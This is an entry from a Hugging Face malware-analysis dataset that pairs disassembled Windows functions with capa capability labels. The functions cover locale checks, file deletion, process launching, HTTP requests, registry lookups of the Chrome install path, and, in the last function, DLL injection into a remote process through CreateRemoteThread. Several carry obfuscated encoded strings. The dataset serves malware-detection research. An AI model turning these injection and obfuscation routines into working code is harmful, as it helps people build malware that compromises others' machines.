joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40279c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40c02c], 0x8088405
inc edx
mov dword [0x40c02c], edx
mul edx
mov eax, edx
ret

Function at 0x4039a4
Capabilities:
Encode data using xor

Disassembly:
cmp word [edx], 0x100
jne 0x4039b3
mov edx, dword [edx + 8]
jmp fcn.004031e8
push ebx
mov ebx, eax
sub esp, 0x10
mov word [esp], 0
mov eax, esp
mov ecx, pe_nt_image_headers32
call fcn.004038b4
mov eax, ebx
call fcn.00403198
mov eax, dword [esp + 8]
mov dword [ebx], eax
add esp, 0x10
pop ebx
ret

Function at 0x4051fc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405235
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x40523e
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405248
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405269
mov al, byte [esp]
jmp 0x40526b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4069dc
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x406a24
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.00406978
mov eax, dword [ebp - 4]
call int.00403414
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406a2b
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x406c2c
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x406cba
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
jne 0x406c77
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [ebp - 0x108]
mov eax, esi
call fcn.00403278
jmp 0x406ca4
call sub.kernel32.dll_GetCommandLineA_1
cmp byte [eax], 0
jne 0x406c8b
lea eax, [ebp - 4]
call fcn.00403198
jmp 0x406c9a
lea edx, [ebp - 4]
call fcn.00406af0
test ebx, ebx
je 0x406c9a
dec ebx
jmp 0x406c7c
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.0040322c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406cc1
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x406cc8
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov edx, ebx
mov eax, esp
call fcn.00404dd0
add esp, 0x104
pop ebx
ret
Function at 0x408fbc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00408f70
test al, al
jne 0x408fdd
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x409029
xor eax, eax
push ebp
push 0x409019
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call int.00403414
push eax
call sub.kernel32.dll_DeleteFileA
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError_1
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409020
lea eax, [ebp - 0xc]
call fcn.00408fac
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4094d8
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, ecx
dec esi
test esi, esi
jl 0x409532
inc esi
xor edi, edi
cmp edi, 1
jne 0x4094fe
mov eax, dword [ebp + 0xc]
push eax
call sub.kernel32.dll_Sleep
jmp 0x40950c
cmp edi, 1
jle 0x40950c
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_Sleep
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00408fbc
test eax, eax
jne 0x409532
call sub.kernel32.dll_GetLastError_1
cmp eax, 2
je 0x409532
call sub.kernel32.dll_GetLastError_1
cmp eax, 3
je 0x409532
inc edi
dec esi
jne 0x4094ee
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x40953c
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov byte [ebp - 1], dl
mov esi, eax
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax], edx
mov byte [ebp - 2], 0
test edi, edi
je 0x409589
xor ebx, ebx
jmp 0x40957e
mov eax, dword [ebp - 8]
mov edx, dword [eax]
mov eax, edi
call fcn.00404c30
test eax, eax
jne 0x40957d
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 2
jmp 0x409639
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call esi
test al, al
jne 0x40955f
mov al, byte [ebp - 1]
sub al, 1
jb 0x409594
je 0x40959d
jmp 0x4095a6
call fcn.00407024
mov edi, eax
jmp 0x4095a8
call sub.kernel32.dll_GetUserDefaultLangID
mov edi, eax
jmp 0x4095a8
xor edi, edi
test di, di
je 0x409639
xor ebx, ebx
jmp 0x4095e4
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
movzx edx, di
cmp eax, edx
jne 0x4095e3
mov eax, dword [ebp - 8]
cmp dword [eax + 0x2c], 0
je 0x4095d8
call sub.kernel32.dll_GetACP
mov edx, dword [ebp - 8]
cmp eax, dword [edx + 0x2c]
jne 0x4095e3
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x409639
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call esi
test al, al
jne 0x4095b5
xor ebx, ebx
jmp 0x40962e
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
and eax, 0x3ff
mov edx, edi
and dx, 0x3ff
movzx edx, dx
cmp eax, edx
jne 0x40962d
mov eax, dword [ebp - 8]
cmp dword [eax + 0x2c], 0
je 0x409622
call sub.kernel32.dll_GetACP
mov edx, dword [ebp - 8]
cmp eax, dword [edx + 0x2c]
jne 0x40962d
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x409639
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call esi
test al, al
jne 0x4095f3
mov al, byte [ebp - 2]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4
Function at 0x401bd1
Capabilities:
Create process on windows

Disassembly:
push 0x78
mov eax, 0x4194a6
call fcn.0040a9ad
mov edi, 0x4205ac
mov ecx, edi
lea esi, [ebp - 0x44]
call fcn.00401f1c
mov ecx, edi
lea esi, [ebp - 0x40]
call fcn.00401f1c
mov ecx, edi
lea esi, [ebp - 0x3c]
call fcn.00401f1c
xor esi, esi
mov edi, vtable.SBrowserHelperGC.0
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x48], edi
push 0x38
lea eax, [ebp - 0x80]
push esi
mov dword [ebp - 4], esi
push eax
mov dword [ebp - 0x84], esi
call fcn.0040a280
add esp, 0xc
push esi
lea eax, [ebp - 0x18]
push str.d2h9dg
push eax
call fcn.004076ba
add esp, 0xc
lea ebx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.0040740f
mov eax, dword [ebp - 0x14]
cmp dword [eax - 0xc], esi
je 0x401c9b
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 0xc]
cmp dword [ecx - 0xc], esi
je 0x401c9b
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x84], 0x3c
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x68], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
call fcn.00401087
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
call fcn.00401087
mov dword [ebp - 0x48], edi
lea edi, [ebp - 0x48]
call fcn.004080f1
call fcn.0040aa85
ret 4

Function at 0x402857
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40286e
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x4028a3
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x40289f
cmp edi, eax
jae 0x4028a3
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x402891
cmp edi, eax
jb 0x4028a7
xor eax, eax
jmp 0x4028b0
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret
Function at 0x4066e4
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push 0x424
mov eax, 0x4192e6
call fcn.0040aa16
xor eax, eax
mov edi, 0x206
push edi
mov word [ebp - 0x21c], ax
xor ebx, ebx
lea eax, [ebp - 0x21a]
push ebx
push eax
call fcn.0040a280
add esp, 0xc
mov esi, 0x103
push esi
lea eax, [ebp - 0x21c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp eax, ebx
je 0x406816
cmp eax, 0x104
jae 0x406816
mov eax, dword [0x4205ac]
mov ecx, 0x4205ac
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x430], eax
push ebx
lea eax, [ebp - 0x42c]
push str.N3s4XldKODdUOD09TjhRVjgwKTQpNCkoMThcVzh8fXQ4N144Oj0pOjgmJjhWTVQ4PjhIUVZfOCk2KTYpNik4NXY4KTg1bzgpKCgoOCY4Vk1UOD44UV44VldMOF1AUUtMODo9KTo4XUBRTA
push eax
mov dword [ebp - 4], ebx
call fcn.004076ba
add esp, 0xc
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 3
mov eax, dword [eax]
push ecx
push eax
lea eax, [ebp - 0x430]
push eax
call fcn.00406efb
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x42c]
add esp, 0xc
add eax, 0xfffffff0
call fcn.00401087
xor eax, eax
push edi
mov word [ebp - 0x424], ax
lea eax, [ebp - 0x422]
push ebx
push eax
call fcn.0040a280
add esp, 0xc
push ebx
lea eax, [ebp - 0x42c]
push str.W3d1S2h9ew
push eax
call fcn.004076ba
mov eax, dword [eax]
add esp, 0xc
push esi
lea ecx, [ebp - 0x424]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
mov eax, dword [ebp - 0x42c]
setne byte [ebp - 0x425]
add eax, 0xfffffff0
call fcn.00401087
mov esi, dword [ebp - 0x430]
cmp byte [ebp - 0x425], bl
je 0x40680e
push ebx
push ebx
push esi
lea eax, [ebp - 0x424]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [esi - 0x10]
call fcn.00401087
call fcn.0040aa99
ret
Function at 0x40681c
Capabilities:
Connect to http server
Create http request
Parse url
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4192a8
mov eax, dword fs:[0]
push eax
mov eax, 0x20f0
call fcn.004145b0
mov eax, dword [0x41f2b4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20b4], eax
xor eax, eax
mov edi, 0x1048
push edi
mov word [ebp - 0x1060], ax
xor esi, esi
lea eax, [ebp - 0x105e]
push esi
push eax
mov ebx, ecx
call fcn.0040a280
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - 0x20b0], ax
lea eax, [ebp - 0x20ae]
push esi
push eax
call fcn.0040a280
add esp, 0xc
push 0x3c
pop edi
push edi
lea eax, [ebp - 0x20fc]
push esi
push eax
call fcn.0040a280
lea eax, [ebp - 0x1060]
mov dword [ebp - 0x20ec], eax
mov eax, 0x824
lea ecx, [ebp - 0x20b0]
mov dword [ebp - 0x20e8], eax
mov dword [ebp - 0x20cc], eax
mov eax, ebx
mov dword [ebp - 0x20d0], ecx
add esp, 0xc
mov dword [ebp - 0x20fc], edi
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
cmp dx, si
jne 0x4068dc
sub eax, ecx
lea ecx, [ebp - 0x20fc]
push ecx
push esi
sar eax, 1
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x4069fe
push esi
push esi
push esi
push esi
push dword [ebp - 0x20b4]
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x20b8], eax
cmp eax, esi
je 0x4069fe
push esi
push esi
push 3
push esi
push esi
push dword [ebp - 0x20e4]
lea ecx, [ebp - 0x1060]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [ebp - 0x20b4], eax
cmp eax, esi
je 0x4069f2
xor ebx, ebx
mov eax, 0x1bb
cmp word [ebp - 0x20e4], ax
push esi
setne bl
lea eax, [ebp - 0x20bc]
push str.UExMSDcpNik
push eax
dec ebx
and ebx, 0x800000
or ebx, 0x8440f300
call fcn.004076ba
add esp, 0xc
mov edi, eax
push esi
lea eax, [ebp - 0x20c0]
push str.X11M
push eax
mov dword [ebp - 4], esi
call fcn.004076ba
mov edi, dword [edi]
mov eax, dword [eax]
add esp, 0xc
push esi
push ebx
push esi
push esi
push edi
lea ecx, [ebp - 0x20b0]
push ecx
push eax
push dword [ebp - 0x20b4]
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
mov eax, dword [ebp - 0x20c0]
add eax, 0xfffffff0
call fcn.00401087
mov eax, dword [ebp - 0x20bc]
add eax, 0xfffffff0
call fcn.00401087
cmp edi, esi
je 0x4069e6
push esi
push esi
push esi
push esi
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x20b4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x20b8]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004089b6
leave
ret
Function at 0x406a18
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push 0x1c
mov eax, 0x419029
call fcn.0040a9ad
push 0x41bc88
push dword [ebp + 0xc]
call fcn.00401d02
push 0xf0000000
push 1
push str.Microsoft_Base_Cryptographic_Provider_v1.0
xor ebx, ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x406a56
xor al, al
call fcn.0040aa85
ret
mov eax, dword [ebp + 8]
push dword [eax]
lea eax, [ebp - 0x18]
push eax
call fcn.00406bbb
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push 0x8003
mov dword [ebp - 4], ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x406a9b
cmp dword [ebp - 0x14], ebx
je 0x406a8e
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
call fcn.00401087
jmp 0x406a4e
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax - 0xc]
push ebx
push ecx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x406ac1
cmp dword [ebp - 0x10], ebx
je 0x406a7f
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x406a7f
mov esi, dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push 4
pop eax
push ebx
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x28], eax
call esi
test eax, eax
je 0x406ab1
push dword [ebp - 0x1c]
call fcn.004094ef
mov edi, eax
pop ecx
mov dword [ebp - 0x24], edi
cmp edi, ebx
je 0x406ab1
push ebx
lea eax, [ebp - 0x1c]
push eax
push edi
push 2
push dword [ebp - 0x10]
call esi
test eax, eax
jne 0x406b39
push edi
call fcn.00408bb7
pop ecx
cmp dword [ebp - 0x10], ebx
je 0x406b18
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 0x14], ebx
je 0x406b27
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
call fcn.00401087
mov al, bl
jmp 0x406a50
xor esi, esi
cmp dword [ebp - 0x1c], ebx
jbe 0x406b8e
mov eax, dword [0x4205ac]
mov ecx, 0x4205ac
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
mov byte [ebp - 4], 1
movzx eax, byte [esi + eax]
push eax
push str._2.2x
lea eax, [ebp - 0x20]
call fcn.004026dd
mov edi, dword [ebp - 0x20]
mov eax, dword [ebp + 0xc]
pop ecx
pop ecx
push dword [edi - 0xc]
push edi
call fcn.00406d7f
lea eax, [edi - 0x10]
mov byte [ebp - 4], bl
call fcn.00401087
inc esi
cmp esi, dword [ebp - 0x1c]
jb 0x406b40
push dword [ebp - 0x24]
call fcn.00408bb7
pop ecx
cmp dword [ebp - 0x10], ebx
je 0x406ba5
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 0x14], ebx
je 0x406bb4
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov bl, 1
jmp 0x406b27
Function at 0x407373
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [esi]
and dword [esi], 0
add eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 8]
push 0
push str.InstallLocation
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4073d9
cmp dword [ebp + 8], 1
je 0x4073b1
cmp dword [ebp + 8], 2
je 0x4073b1
push 0xd
pop eax
jmp 0x4073d9
mov eax, dword [ebp - 4]
test edi, edi
je 0x4073d3
test eax, eax
je 0x4073ce
test al, 1
jne 0x4073ac
mov ecx, eax
shr ecx, 1
cmp word [edi + ecx*2 - 2], 0
je 0x4073d3
jmp 0x4073ac
xor ecx, ecx
mov word [edi], cx
shr eax, 1
mov dword [esi], eax
xor eax, eax
leave
ret 4
Function at 0x40740f
Capabilities:
Check if file exists
Query or enumerate registry value

Disassembly:
push 0x24
mov eax, 0x4193e9
call fcn.0040a9ad
xor edi, edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edi
push 0x80000001
lea esi, [ebp - 0x30]
mov dword [ebp - 4], edi
call fcn.00407331
test eax, eax
je 0x40745e
push 0x80000002
call fcn.00407331
test eax, eax
je 0x40745e
push 0x41bc88
push ebx
call fcn.00402b78
cmp dword [ebp - 0x30], edi
jmp 0x40758a
lea eax, [ebp - 0x1c]
push eax
push edi
lea eax, [ebp - 0x24]
push eax
push edi
push str.InstallLocation
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40744b
mov esi, dword [ebp - 0x1c]
shr esi, 1
xor ecx, ecx
push 2
pop edx
mov eax, esi
mul edx
seto cl
mov dword [ebp - 0x20], esi
neg ecx
or ecx, eax
push ecx
call fcn.00408834
mov edi, eax
pop ecx
mov dword [ebp - 0x28], edi
lea eax, [ebp - 0x30]
push eax
lea esi, [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.00407373
test eax, eax
je 0x4074c2
push 0x41bc88
push ebx
call fcn.00402b78
jmp 0x40757f
push edi
lea eax, [ebp - 0x18]
push eax
call fcn.00402b78
mov byte [ebp - 4], 2
push dword [ebp - 0x18]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4074ed
push 0x41bc88
push ebx
call fcn.00402b78
jmp 0x407574
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
push eax
call fcn.00402b78
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x14]
mov eax, dword [eax - 0xc]
inc eax
push eax
lea esi, [ebp - 0x14]
call fcn.00401f41
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
mov eax, dword [ebp - 0x14]
push dword [eax - 8]
push eax
call fcn.00409c60
pop ecx
pop ecx
mov edx, esi
call fcn.0040228a
mov eax, dword [ebp - 0x14]
mov eax, dword [eax - 0xc]
add eax, 0xb
push eax
call fcn.00401f41
push str.chrome.exe
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov eax, dword [ebp - 0x14]
push dword [eax - 8]
push eax
call fcn.00409c60
pop ecx
pop ecx
mov edx, esi
call fcn.0040228a
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
call fcn.004022ac
add eax, 0x10
mov dword [ebx], eax
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
call fcn.00401087
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
call fcn.00401087
push edi
call fcn.004089ab
cmp dword [ebp - 0x30], 0
pop ecx
je 0x407595
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
call fcn.0040aa85
ret

Function at 0x4089b6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41f2b4]
jne 0x4089c0
repz ret
jmp fcn.0040c7bf
Function at 0x413fee
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040fcd4
and dword [ebp - 4], 0
cmp dword [0x4212f8], 0
mov ebx, eax
jne 0x41409f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x414150
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x414150
push eax
call fcn.0040fc62
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4212f8], eax
call esi
push eax
call fcn.0040fc62
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4212fc], eax
call esi
push eax
call fcn.0040fc62
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x421300], eax
call esi
push eax
call fcn.0040fc62
pop ecx
mov dword [0x421308], eax
test eax, eax
je 0x41409f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040fc62
pop ecx
mov dword [0x421304], eax
mov eax, dword [0x421304]
cmp eax, ebx
je 0x4140f7
cmp dword [0x421308], ebx
je 0x4140f7
push eax
call fcn.0040fcdd
push dword [0x421308]
mov esi, eax
call fcn.0040fcdd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4140f7
test edi, edi
je 0x4140f7
call esi
test eax, eax
je 0x4140ee
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4140ee
test byte [ebp - 0xc], 1
jne 0x4140f7
or dword [ebp + 0x10], 0x200000
jmp 0x414130
mov eax, dword [0x4212fc]
cmp eax, ebx
je 0x414130
push eax
call fcn.0040fcdd
pop ecx
test eax, eax
je 0x414130
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x414130
mov eax, dword [0x421300]
cmp eax, ebx
je 0x414130
push eax
call fcn.0040fcdd
pop ecx
test eax, eax
je 0x414130
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4212f8]
call fcn.0040fcdd
pop ecx
test eax, eax
je 0x414150
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x414152
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401050
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x404008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
call fcn.004011b0
push 0x104
mov esi, eax
lea eax, [ebp - 0x13c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x13c]
push 0
push eax
push 0x104
push str.Annihilate.dll
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea eax, [ebp - 0x13c]
push eax
call fcn.00401020
push 0x403168
call fcn.00401020
push 0x32
lea eax, [ebp - 0x38]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x14
test esi, esi
je 0x4010fe
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x401111
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call fcn.00401360
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
lea eax, [ebp - 0x38]
push eax
call fcn.00401020
add esp, 4
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401593
mov esp, ebp
pop ebp
ret 8
push ebx
push edi
push str.LoadLibraryA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x13c]
mov ebx, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401135
push 4
push 0x3000
sub ecx, edx
push ecx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea ecx, [ebp - 0x13c]
mov edi, eax
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401160
push 0
sub ecx, edx
lea eax, [ebp - 0x13c]
push ecx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push edi
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop ebx
xor ecx, ebp
pop esi
call fcn.00401593
mov esp, ebp
pop ebp
ret 8